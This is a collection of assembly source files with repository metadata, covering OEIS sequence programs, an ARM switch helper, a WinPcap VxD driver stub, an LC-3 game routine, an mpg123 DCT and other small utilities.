; A131026: Periodic sequence (2, 2, 1, 0, 0, 1). ; 2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1 add $0,46088 lpb $0,1 add $0,1 mul $0,5 mod $0,6 lpe mov $1,$0
30.090909
211
0.516616
cdb834f10b0cfc6a2909ae4eade766f2bd1a1419
461
asm
Assembly
programs/oeis/067/A067623.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/067/A067623.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/067/A067623.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A067623: Consider the power series (x+1)^(1/3)=1+x/3-x^2/9+5x^3/81+...; sequence gives denominators of coefficients. ; 1,3,9,81,243,729,6561,19683,59049,1594323,4782969,14348907,129140163,387420489,1162261467,10460353203,31381059609,94143178827,2541865828329,7625597484987,22876792454961,205891132094649,617673396283947 mov $1,$0 mov $2,1 lpb $0 sub $0,1 sub $2,$1 div $1,3 lpe mov $1,3 sub $2,1 sub $3,$2 pow $1,$3 mul $1,2 div $1,4 mul $1,2 add $1,1
24.263158
202
0.722343
2c8a0318d55d491cb201cbf1ce06f1a9c3dba236
913
asm
Assembly
edk2/ArmPkg/Library/CompilerIntrinsicsLib/Arm/switch.asm
awwiniot/Aw1689UEFI
968033cea6432cf3121ef933f2e7f073d11363fb
[ "MIT" ]
21
2016-11-20T16:47:01.000Z
2022-03-04T12:10:19.000Z
edk2/ArmPkg/Library/CompilerIntrinsicsLib/Arm/switch.asm
awwiniot/Aw1689UEFI
968033cea6432cf3121ef933f2e7f073d11363fb
[ "MIT" ]
3
2017-01-07T18:05:32.000Z
2017-06-09T05:47:20.000Z
edk2/ArmPkg/Library/CompilerIntrinsicsLib/Arm/switch.asm
awwiniot/Aw1689UEFI
968033cea6432cf3121ef933f2e7f073d11363fb
[ "MIT" ]
8
2017-01-09T07:44:28.000Z
2020-05-10T00:09:54.000Z
///------------------------------------------------------------------------------ // // Copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> // // This program and the accompanying materials // are licensed and made available under the terms and conditions of the BSD License // which accompanies this distribution. The full text of the license may be found at // http://opensource.org/licenses/bsd-license.php // // THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, // WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. // //------------------------------------------------------------------------------ EXPORT __ARM_switch8 AREA ArmSwitch, CODE, READONLY __ARM_switch8 LDRB r12,[lr,#-1] CMP r3,r12 LDRBCC r3,[lr,r3] LDRBCS r3,[lr,r12] ADD r12,lr,r3,LSL #1 BX r12 END
30.433333
86
0.544359
4f263a1e69ea2b7e0694a866a7f162a551573a26
655
asm
Assembly
TextConversion.asm
Sahilsinggh/MPL
4ad326354a5c4d08093f16d9d9753bc05634bcd0
[ "MIT" ]
null
null
null
TextConversion.asm
Sahilsinggh/MPL
4ad326354a5c4d08093f16d9d9753bc05634bcd0
[ "MIT" ]
null
null
null
TextConversion.asm
Sahilsinggh/MPL
4ad326354a5c4d08093f16d9d9753bc05634bcd0
[ "MIT" ]
null
null
null
_AsciiToHex:; //ASCII in inAscii ----> HEX in RAX mov rsi,inAscii; xor rax,rax; begin1: cmp byte[rsi],0xA; //Compare With New Line je done; rol rax,04d; mov bl,byte[rsi]; cmp bl,39h; jbe sub30 sub bl,07h; sub30: sub bl,30h; add al,bl; inc rsi; jmp begin1; done: ret _HexToAscii:; // HEX in RAX -----> ASCII in outAscii mov rsi,outAscii+3d; mov rcx,4d begin2: xor rdx,rdx; mov rbx,10h; //16d div rbx; cmp dl,09h; jbe add30; add dl,07h; add30: add dl,30h; mov byte[rsi],dl; update: dec rsi; dec rcx; jnz begin2; ret
15.232558
53
0.541985
34748dca9efc9db9f6803014b25bed6b60375ce1
892
asm
Assembly
src/rand.asm
howprice/specnext-invaders
f356f2f0f86203a40cf0ae42a9cb6bbff87e8b89
[ "MIT" ]
17
2021-01-03T17:10:18.000Z
2022-01-05T06:01:46.000Z
src/rand.asm
howprice/specnext-invaders
f356f2f0f86203a40cf0ae42a9cb6bbff87e8b89
[ "MIT" ]
null
null
null
src/rand.asm
howprice/specnext-invaders
f356f2f0f86203a40cf0ae42a9cb6bbff87e8b89
[ "MIT" ]
null
null
null
; ; Ion pseudo random number generator ; 123 T-states ; A <- random number in range [0,255] ; Modifies: AF ; ; See https://wikiti.brandonw.net/index.php?title=Z80_Routines:Math:Random#Ion_Random ; ; TODO: Optimise this by pre-calulating a 256 array of random numbers and just iterating through CalcRandomByte: ; call 17 T-states push hl ; 11 push de ; 11 ld hl,(randomSeed) ; 16 ld a,r ; 9 ld d,a ; 4 ld e,(hl) ; 7 add hl,de ; 11 add a,l ; 4 xor h ; 4 ld (randomSeed),hl ; 16 pop de ; 10 pop hl ; 10 ret ; 10 ; Total: 123 T-states randomSeed DB $9f
31.857143
96
0.42713
98c1ba0e7351004ae73cfcfe26464a4a5279f19d
361
asm
Assembly
oeis/105/A105995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/105/A105995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/105/A105995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A105995: Fibonacci sequence (mod 14). ; 0,1,1,2,3,5,8,13,7,6,13,5,4,9,13,8,7,1,8,9,3,12,1,13,0,13,13,12,11,9,6,1,7,8,1,9,10,5,1,6,7,13,6,5,11,2,13,1,0,1,1,2,3,5,8,13,7,6,13,5,4,9,13,8,7,1,8,9,3,12,1,13,0,13,13,12,11,9,6,1,7,8,1,9,10,5,1,6,7,13,6,5,11,2,13,1,0,1,1,2 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mod $0,14
60.166667
227
0.565097
50de9f124858486e267a0bb9daa573741515d028
774
asm
Assembly
ffight/lcs/1p/58.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/1p/58.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/1p/58.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 007CA8 bsr $7d36 007CEA move.b (-$6e0b,A5), ($59,A6) [1p+58] 007D36 move.w ($6,A6), D3 007D52 move.b D5, ($58,A6) [1p+59, enemy+59, weapon+59] 007D56 beq $7d6a [1p+58, enemy+58, weapon+58] 007DAE move.b D5, ($58,A6) [1p+59] 007DB2 bmi $7c0e [1p+58] 007DF8 bsr $7e3e 007E3E move.w ($6,A6), D3 007E6C move.b D5, ($58,A6) [1p+59, container+59] 007E70 beq $7e84 [1p+58, container+58] 007EA0 move.b D5, ($58,A6) [1p+59, container+59] 007EA4 bmi $7c7c [1p+58, container+58] 007F2A move.b D5, ($58,A6) [1p+59] 007F2E bmi $7c7c [1p+58] 00A2C6 dbra D0, $a2c0 00A334 clr.b ($58,A4) 00A338 clr.b ($59,A4) copyright zengfr site:http://github.com/zengfr/romhack
33.652174
57
0.621447
e34e0a27ee79991a7aedf6289f011ce15dbf233c
8,448
asm
Assembly
dependencies/sources/mpg123-1.25.11/ports/MSVC++/2015/win32/libmpg123/x64/Release_x86_Dll/dct36_x86_64.asm
Helios-vmg/napalm
15f61c742a4488304583865f35cb286e777112fe
[ "BSD-2-Clause" ]
null
null
null
dependencies/sources/mpg123-1.25.11/ports/MSVC++/2015/win32/libmpg123/x64/Release_x86_Dll/dct36_x86_64.asm
Helios-vmg/napalm
15f61c742a4488304583865f35cb286e777112fe
[ "BSD-2-Clause" ]
null
null
null
dependencies/sources/mpg123-1.25.11/ports/MSVC++/2015/win32/libmpg123/x64/Release_x86_Dll/dct36_x86_64.asm
Helios-vmg/napalm
15f61c742a4488304583865f35cb286e777112fe
[ "BSD-2-Clause" ]
null
null
null
.section .rodata .balign 16 dct36_x86_64_COS9: .long 0x3f5db3d7 .long 0x3f5db3d7 .long 0x3f000000 .long 0x3f000000 .long 0x3f7c1c5c .long 0x3f7c1c5c .long 0x3f708fb2 .long 0x3f708fb2 .long 0x3f248dbb .long 0x3f248dbb .long 0x3e31d0d4 .long 0x3e31d0d4 .long 0x3eaf1d44 .long 0x3eaf1d44 .long 0x3f441b7d .long 0x3f441b7d .balign 16 dct36_x86_64_tfcos36: .long 0x3f007d2b .long 0x3f0483ee .long 0x3f0d3b7d .long 0x3f1c4257 .long 0x40b79454 .long 0x3ff746ea .long 0x3f976fd9 .long 0x3f5f2944 .long 0x3f3504f3 .balign 16 dct36_x86_64_mask: .long 0,0xffffffff,0,0xffffffff .balign 16 dct36_x86_64_sign: .long 0x80000000,0x80000000,0x80000000,0x80000000 .text .balign 16 .globl INT123_dct36_x86_64 INT123_dct36_x86_64: push %rbp mov %rsp, %rbp sub $160, %rsp movaps %xmm6, (%rsp) movaps %xmm7, 16(%rsp) movaps %xmm8, 32(%rsp) movaps %xmm9, 48(%rsp) movaps %xmm10, 64(%rsp) movaps %xmm11, 80(%rsp) movaps %xmm12, 96(%rsp) movaps %xmm13, 112(%rsp) movaps %xmm14, 128(%rsp) movaps %xmm15, 144(%rsp) movq 48(%rbp), %r10 lea dct36_x86_64_COS9(%rip), %rax lea dct36_x86_64_tfcos36(%rip), %r11 xorps %xmm5, %xmm5 movups (%rcx), %xmm1 movups 16(%rcx), %xmm2 movups 32(%rcx), %xmm3 movups 48(%rcx), %xmm4 movlps 64(%rcx), %xmm5 xorps %xmm6, %xmm6 movaps %xmm1, %xmm7 shufps $0x93, %xmm7, %xmm7 movaps %xmm2, %xmm8 shufps $0x93, %xmm8, %xmm8 movaps %xmm3, %xmm9 shufps $0x93, %xmm9, %xmm9 movaps %xmm4, %xmm10 shufps $0x93, %xmm10, %xmm10 movaps %xmm5, %xmm11 shufps $0xe1, %xmm11, %xmm11 movss %xmm10, %xmm11 addps %xmm11, %xmm5 movss %xmm9, %xmm10 addps %xmm10, %xmm4 movss %xmm8, %xmm9 addps %xmm9, %xmm3 movss %xmm7, %xmm8 addps %xmm8, %xmm2 movss %xmm6, %xmm7 addps %xmm7, %xmm1 movaps dct36_x86_64_mask(%rip), %xmm0 movaps %xmm4, %xmm6 shufps $0x4e, %xmm5, %xmm4 movaps %xmm3, %xmm7 shufps $0x4e, %xmm6, %xmm3 andps %xmm0, %xmm6 addps %xmm6, %xmm4 movaps %xmm2, %xmm6 shufps $0x4e, %xmm7, %xmm2 andps %xmm0, %xmm7 addps %xmm7, %xmm3 movaps %xmm1, %xmm7 shufps $0x4e, %xmm6, %xmm1 andps %xmm0, %xmm6 addps %xmm6, %xmm2 movaps %xmm7, %xmm6 andps %xmm0, %xmm7 xorps %xmm0, %xmm0 addps %xmm7, %xmm1 movlhps %xmm6, %xmm0 movaps %xmm2, %xmm5 shufps $0xe4, %xmm3, %xmm5 shufps $0xe4, %xmm4, %xmm3 shufps $0xe4, %xmm2, %xmm4 movaps %xmm5, %xmm2 movaps (%rax), %xmm15 movaps 16(%rax), %xmm6 movaps 32(%rax), %xmm7 movaps 48(%rax), %xmm8 mulps %xmm15, %xmm5 addps %xmm0, %xmm5 movaps %xmm6, %xmm9 movaps %xmm7, %xmm12 movaps %xmm8, %xmm13 mulps %xmm1, %xmm9 mulps %xmm3, %xmm12 mulps %xmm4, %xmm13 addps %xmm5, %xmm9 addps %xmm13, %xmm12 addps %xmm9, %xmm12 movaps %xmm1, %xmm13 subps %xmm3, %xmm13 movaps %xmm0, %xmm10 shufps $0xe0, %xmm2, %xmm10 movaps %xmm0, %xmm14 subps %xmm10, %xmm14 subps %xmm4, %xmm13 mulps %xmm15, %xmm13 addps %xmm14, %xmm13 movaps %xmm7, %xmm9 movaps %xmm8, %xmm15 movaps %xmm6, %xmm14 mulps %xmm1, %xmm9 mulps %xmm3, %xmm15 mulps %xmm4, %xmm14 subps %xmm5, %xmm9 subps %xmm15, %xmm14 addps %xmm9, %xmm14 mulps %xmm1, %xmm8 mulps %xmm3, %xmm6 mulps %xmm4, %xmm7 subps %xmm5, %xmm8 subps %xmm7, %xmm6 addps %xmm6, %xmm8 movaps %xmm8, %xmm15 movss 32(%r11), %xmm5 subps %xmm1, %xmm0 subps %xmm2, %xmm4 addps %xmm3, %xmm0 addps %xmm4, %xmm0 shufps $0xaf, %xmm0, %xmm0 mulss %xmm5, %xmm0 movaps %xmm0, %xmm11 movaps %xmm12, %xmm5 unpckhps %xmm13, %xmm5 unpcklps %xmm13, %xmm12 movaps %xmm14, %xmm6 unpckhps %xmm15, %xmm6 unpcklps %xmm15, %xmm14 xorps dct36_x86_64_sign(%rip), %xmm6 movaps %xmm12, %xmm0 movlhps %xmm14, %xmm12 movhlps %xmm0, %xmm14 movaps %xmm5, %xmm0 movlhps %xmm6, %xmm0 movhlps %xmm5, %xmm6 movaps %xmm6, %xmm15 movaps (%r11), %xmm6 movaps 16(%r11), %xmm7 movaps %xmm15, %xmm10 addps %xmm14, %xmm15 subps %xmm14, %xmm10 movaps %xmm0, %xmm14 addps %xmm12, %xmm0 subps %xmm12, %xmm14 mulps %xmm6, %xmm15 mulps %xmm10, %xmm7 movaps %xmm15, %xmm1 movups 108(%r9), %xmm2 movups 92(%r9), %xmm3 shufps $0x1b, %xmm3, %xmm3 movups 36(%r9), %xmm4 movups 20(%r9), %xmm5 shufps $0x1b, %xmm5, %xmm5 movaps %xmm0, %xmm6 addps %xmm1, %xmm0 subps %xmm1, %xmm6 mulps %xmm0, %xmm2 mulps %xmm3, %xmm0 mulps %xmm6, %xmm4 mulps %xmm5, %xmm6 movups 36(%rdx), %xmm1 movups 20(%rdx), %xmm3 shufps $0x1b, %xmm6, %xmm6 addps %xmm4, %xmm1 addps %xmm6, %xmm3 shufps $0x1b, %xmm0, %xmm0 movups %xmm2, 36(%r8) movups %xmm0, 20(%r8) movss %xmm1, 32*36(%r10) movss %xmm3, 32*20(%r10) movhlps %xmm1, %xmm2 movhlps %xmm3, %xmm4 movss %xmm2, 32*44(%r10) movss %xmm4, 32*28(%r10) shufps $0xb1, %xmm1, %xmm1 shufps $0xb1, %xmm3, %xmm3 movss %xmm1, 32*40(%r10) movss %xmm3, 32*24(%r10) movhlps %xmm1, %xmm2 movhlps %xmm3, %xmm4 movss %xmm2, 32*48(%r10) movss %xmm4, 32*32(%r10) movhlps %xmm11, %xmm0 movaps %xmm11, %xmm1 movss 124(%r9), %xmm2 movss 88(%r9), %xmm3 movss 52(%r9), %xmm4 movss 16(%r9), %xmm5 movss %xmm0, %xmm6 addss %xmm1, %xmm0 subss %xmm1, %xmm6 mulss %xmm0, %xmm2 mulss %xmm3, %xmm0 mulss %xmm6, %xmm4 mulss %xmm5, %xmm6 addss 52(%rdx), %xmm4 addss 16(%rdx), %xmm6 movss %xmm2, 52(%r8) movss %xmm0, 16(%r8) movss %xmm4, 32*52(%r10) movss %xmm6, 32*16(%r10) movaps %xmm14, %xmm0 movaps %xmm7, %xmm1 movups 128(%r9), %xmm2 movups 72(%r9), %xmm3 shufps $0x1b, %xmm2, %xmm2 movlps 56(%r9), %xmm4 movhps 64(%r9), %xmm4 movups (%r9), %xmm5 shufps $0x1b, %xmm4, %xmm4 movaps %xmm0, %xmm6 addps %xmm1, %xmm0 subps %xmm1, %xmm6 mulps %xmm0, %xmm2 mulps %xmm3, %xmm0 mulps %xmm6, %xmm4 mulps %xmm5, %xmm6 movlps 56(%rdx), %xmm1 movhps 64(%rdx), %xmm1 movups (%rdx), %xmm3 shufps $0x1b, %xmm4, %xmm4 addps %xmm6, %xmm3 addps %xmm4, %xmm1 shufps $0x1b, %xmm2, %xmm2 movups %xmm0, (%r8) movlps %xmm2, 56(%r8) movhps %xmm2, 64(%r8) movss %xmm1, 32*56(%r10) movss %xmm3, (%r10) movhlps %xmm1, %xmm2 movhlps %xmm3, %xmm4 movss %xmm2, 32*64(%r10) movss %xmm4, 32*8(%r10) shufps $0xb1, %xmm1, %xmm1 shufps $0xb1, %xmm3, %xmm3 movss %xmm1, 32*60(%r10) movss %xmm3, 32*4(%r10) movhlps %xmm1, %xmm2 movhlps %xmm3, %xmm4 movss %xmm2, 32*68(%r10) movss %xmm4, 32*12(%r10) movaps (%rsp), %xmm6 movaps 16(%rsp), %xmm7 movaps 32(%rsp), %xmm8 movaps 48(%rsp), %xmm9 movaps 64(%rsp), %xmm10 movaps 80(%rsp), %xmm11 movaps 96(%rsp), %xmm12 movaps 112(%rsp), %xmm13 movaps 128(%rsp), %xmm14 movaps 144(%rsp), %xmm15 mov %rbp, %rsp pop %rbp ret
8.130895
51
0.504143
14b95cc6764c81765b30e32fcad34e3cb15396cc
1,961
asm
Assembly
programs/oeis/322/A322417.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/322/A322417.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/322/A322417.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A322417: a(n) - 2*a(n-1) = period 2: repeat [3, 0] for n > 0, a(0)=5, a(1)=13. ; 5,13,26,55,110,223,446,895,1790,3583,7166,14335,28670,57343,114686,229375,458750,917503,1835006,3670015,7340030,14680063,29360126,58720255,117440510,234881023,469762046,939524095,1879048190,3758096383,7516192766,15032385535,30064771070,60129542143,120259084286,240518168575,481036337150,962072674303,1924145348606,3848290697215,7696581394430,15393162788863,30786325577726,61572651155455,123145302310910,246290604621823,492581209243646,985162418487295,1970324836974590,3940649673949183,7881299347898366,15762598695796735,31525197391593470,63050394783186943,126100789566373886,252201579132747775,504403158265495550,1008806316530991103,2017612633061982206,4035225266123964415,8070450532247928830,16140901064495857663,32281802128991715326,64563604257983430655,129127208515966861310,258254417031933722623,516508834063867445246,1033017668127734890495,2066035336255469780990,4132070672510939561983,8264141345021879123966,16528282690043758247935,33056565380087516495870,66113130760175032991743,132226261520350065983486,264452523040700131966975,528905046081400263933950,1057810092162800527867903,2115620184325601055735806,4231240368651202111471615,8462480737302404222943230,16924961474604808445886463,33849922949209616891772926,67699845898419233783545855,135399691796838467567091710,270799383593676935134183423,541598767187353870268366846,1083197534374707740536733695,2166395068749415481073467390,4332790137498830962146934783,8665580274997661924293869566,17331160549995323848587739135,34662321099990647697175478270,69324642199981295394350956543,138649284399962590788701913086,277298568799925181577403826175,554597137599850363154807652350,1109194275199700726309615304703,2218388550399401452619230609406,4436777100798802905238461218815 add $0,2 seq $0,14131 ; a(n) = 2*a(n-1) if n odd else 2*a(n-1) + 6. mov $1,$0 mul $0,2 div $1,4 sub $0,$1 sub $0,13 div $0,2 sub $0,4 div $0,2 add $0,5
130.733333
1,726
0.890362
9f6b6490b55ac67680a2005bb2126443e00e22b4
248
asm
Assembly
projects/dxilconv/test/dxbc2dxil-asm/cyclecounter.asm
clayne/DirectXShaderCompiler
0ef9b702890b1d45f0bec5fa75481290323e14dc
[ "NCSA" ]
1,192
2017-01-23T23:27:01.000Z
2019-05-05T14:08:40.000Z
projects/dxilconv/test/dxbc2dxil-asm/cyclecounter.asm
clayne/DirectXShaderCompiler
0ef9b702890b1d45f0bec5fa75481290323e14dc
[ "NCSA" ]
2,214
2019-05-06T22:22:53.000Z
2022-03-31T19:38:50.000Z
projects/dxilconv/test/dxbc2dxil-asm/cyclecounter.asm
clayne/DirectXShaderCompiler
0ef9b702890b1d45f0bec5fa75481290323e14dc
[ "NCSA" ]
269
2019-05-07T11:59:04.000Z
2022-03-30T08:41:50.000Z
/*// RUN: %testasm %s /Fo %t.dxbc*/ // RUN: %dxbc2dxil %t.dxbc /emit-llvm /o %t.ll.converted // RUN: fc %b.ref %t.ll.converted ps_5_0 dcl_temps 1 dcl_output o0.xyzw dcl_input vCycleCounter.x mov r0, l(0,0,0,0) mov r0.z, vCycleCounter.x mov o0, r0
20.666667
56
0.681452
a8a900ca3d75e83c8615f3b634c81770389bf4cc
153
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_mul2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_mul2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_mul2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math16 PUBLIC cm16_sdcc_mul2 EXTERN cm16_sdcc_read1 EXTERN asm_f16_mul2 .cm16_sdcc_mul2 call cm16_sdcc_read1 jp asm_f16_mul2
12.75
24
0.830065
e7b303464f89839fa5192f065968834e4c711616
49
asm
Assembly
30Oct2019/mycode.asm
candh/8086-programs
14993540a53868adff515c22021db828c960e984
[ "MIT" ]
null
null
null
30Oct2019/mycode.asm
candh/8086-programs
14993540a53868adff515c22021db828c960e984
[ "MIT" ]
null
null
null
30Oct2019/mycode.asm
candh/8086-programs
14993540a53868adff515c22021db828c960e984
[ "MIT" ]
null
null
null
org 100h ; add your code here ret
4.9
21
0.510204
6bb7d781f908a36de5032897ed2f8a1c2ee19f6d
817
asm
Assembly
programs/oeis/135/A135098.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/135/A135098.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/135/A135098.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A135098: First differences of A135094. ; 1,2,5,10,22,44,92,184,376,752,1520,3040,6112,12224,24512,49024,98176,196352,392960,785920,1572352,3144704,6290432,12580864,25163776,50327552,100659200,201318400,402644992,805289984,1610596352,3221192704,6442418176,12884836352,25769738240,51539476480,103079084032,206158168064,412316598272,824633196544,1649266917376,3298533834752,6597068718080,13194137436160,26388276969472,52776553938944,105553112072192,211106224144384,422212456677376,844424913354752,1688849843486720,3377699686973440,6755399407501312 mov $4,2 mov $6,$0 lpb $4 mov $0,$6 sub $4,1 add $0,$4 sub $0,1 mov $2,$0 mov $5,1 lpb $2 mul $5,2 add $5,$0 trn $0,2 sub $2,1 sub $5,$0 lpe mov $3,$4 lpb $3 mov $1,$5 sub $3,1 lpe lpe lpb $6 sub $1,$5 mov $6,0 lpe
27.233333
505
0.735618
9b20bbcfb87b59768138a06870f038e5ca310b52
2,324
asm
Assembly
winpcap/Packet9x/VXD/Ndisdev.asm
chongyc/natblaster
6eca0cba10aa25c7ef7a21dc5ad65e09f24fec46
[ "Apache-2.0" ]
11
2015-03-30T06:52:21.000Z
2021-06-18T11:02:17.000Z
winpcap/Packet9x/VXD/Ndisdev.asm
crotsos/natblaster
5e5b25e63308b2bc02ddb88151009289abc908ce
[ "Apache-2.0" ]
null
null
null
winpcap/Packet9x/VXD/Ndisdev.asm
crotsos/natblaster
5e5b25e63308b2bc02ddb88151009289abc908ce
[ "Apache-2.0" ]
9
2015-05-12T05:55:23.000Z
2022-01-19T21:31:17.000Z
.LALL ;***************************************************************************** ; ; (C) Copyright MICROSOFT Corp, 1995 ; ; Title: NDISDEV.ASM sourced from: ; Title: NDISLNK.ASM - Assembly linkage to NDIS Wrapper for MACs ; and Protocols ; ; This document is provided for informational purposes only and Microsoft ; Corporation makes no warranties, either expressed or implied, in this document. ; Information in this document may be substantially changed without notice in ; subsequent versions of windows and does not represent a commitment on the ; part of Microsoft Corporation. This information is for internal use only for ; development purposes. ; ; Version: 3.00 ; ; Date: 05-Nov-1991 ; ;============================================================================= TITLE $PACKET .386P INCLUDE VMM.INC INCLUDE NDIS.INC INCLUDE NETVXD.INC ; Net VxD initialization oredr include vtd.inc ; the following equate makes the VXD dynamically loadable. %DEVICE_DYNAMIC EQU 1 DECLARE_VIRTUAL_DEVICE %DEVICE, 3, 10, <%DEVICE>_Control, Undefined_Device_Id, PROTOCOL_Init_Order VxD_LOCKED_DATA_SEG Public bInitAlready bInitAlready DB 0 VxD_LOCKED_DATA_ENDS VxD_LOCKED_CODE_SEG BeginProc C_Device_Init IFDEF NDIS_STDCALL extern _DriverEntry@8:NEAR ELSE extern _DriverEntry:NEAR ENDIF mov al, bInitAlready cmp al, 0 ; Make sure we' haven't been called already. jnz Succeed_Init_Phase inc bInitAlready ; Set the "Called Already" Flag ; Make sure the wrapper (Ndis.386) is loaded VxDcall NdisGetVersion jc Fail_Init_Phase push 0 push 0 IFDEF NDIS_STDCALL call _DriverEntry@8 ELSE call _DriverEntry add esp,8 ENDIF cmp eax, NDIS_STATUS_SUCCESS jne Fail_Init_Phase Succeed_Init_Phase: clc ret Fail_Init_Phase: stc ret EndProc C_Device_Init Begin_Control_Dispatch %DEVICE Control_Dispatch Sys_Dynamic_Device_Init, C_Device_Init Control_Dispatch W32_DEVICEIOCONTROL, PacketIOControl, sCall, <ecx, ebx, edx, esi> IFDEF DEBUG Control_Dispatch DEBUG_QUERY, PacketDebugQuery, sCall ENDIF End_Control_Dispatch %DEVICE VxD_LOCKED_CODE_ENDS END
29.05
99
0.66179
5863f78d4d798a1736d3faa59f6222be01ee11ed
1,015
asm
Assembly
UpdateElement.asm
mbartling/lc3Game
438bf401f788f22e93ff5163b5460dfea4fbfe6d
[ "MIT" ]
1
2018-07-07T05:12:29.000Z
2018-07-07T05:12:29.000Z
UpdateElement.asm
mbartling/lc3Game
438bf401f788f22e93ff5163b5460dfea4fbfe6d
[ "MIT" ]
null
null
null
UpdateElement.asm
mbartling/lc3Game
438bf401f788f22e93ff5163b5460dfea4fbfe6d
[ "MIT" ]
null
null
null
.ORIG x3730 ; UpdateElement(char element, x, y) ; Will replace map location (x, y) with ascii element ; Inputs: R0 = element ; First element on stack = y (highest address) ; Second element on stack = x ; ; ouputs: None ; ; Assume R6 is stack pointer UpdateElement ; Save registers STR R0, R6, #0 ; Save R0 STR R1, R6, #-1 ; Save R1 STR R2, R6, #-2 ; Save R2 STR R3, R6, #-3 ; Save R3 LDR R0, R6, #1 ; Get x coordinate LDR R1, R6, #2 ; Get y coordinate ; Compute final store address as: y * 9 + x AND R2, R2, #0 ADD R2, R2, #9 ; Multiply y (R1) by 9 and store in R3 AND R3, R3, #0 MULT ADD R3, R3, R1 ADD R2, R2, #-1 BRp MULT ; Add offset (x) ADD R3, R3, R0 ; Add MAP location offset LEA R0, MAP LDR R0, R0, #0 ADD R3, R3, R0 ; Restore R0 LDR R0, R6, #0 ; Modify map STR R0, R3, #0 ; Restore registers LDR R0, R6, #0 LDR R1, R6, #-1 LDR R2, R6, #-2 LDR R3, R6, #-3 ; Move stack ; ADD R6, R6, #2 RET MAP .FILL x3600 .END
15.859375
53
0.582266
459ac02b3c260b72be9786a3be47cb114234fbc4
136
asm
Assembly
ch5/src/main.asm
impact-eintr/x86
114ef9240898cfc4cc8b4b19ba800ef0cd171a5c
[ "MIT" ]
null
null
null
ch5/src/main.asm
impact-eintr/x86
114ef9240898cfc4cc8b4b19ba800ef0cd171a5c
[ "MIT" ]
null
null
null
ch5/src/main.asm
impact-eintr/x86
114ef9240898cfc4cc8b4b19ba800ef0cd171a5c
[ "MIT" ]
null
null
null
jmp start start: mov ax, -6002 cwd mov bx, -10 idiv bx jmp $ number times 5 db 0 times 510-($-$$) db 0 db 0x55, 0xaa
9.714286
23
0.566176
7d07ec578091dd17bafcea8e33b549153b6b249f
164
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dload.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dload.asm
jpoikela/z88dk
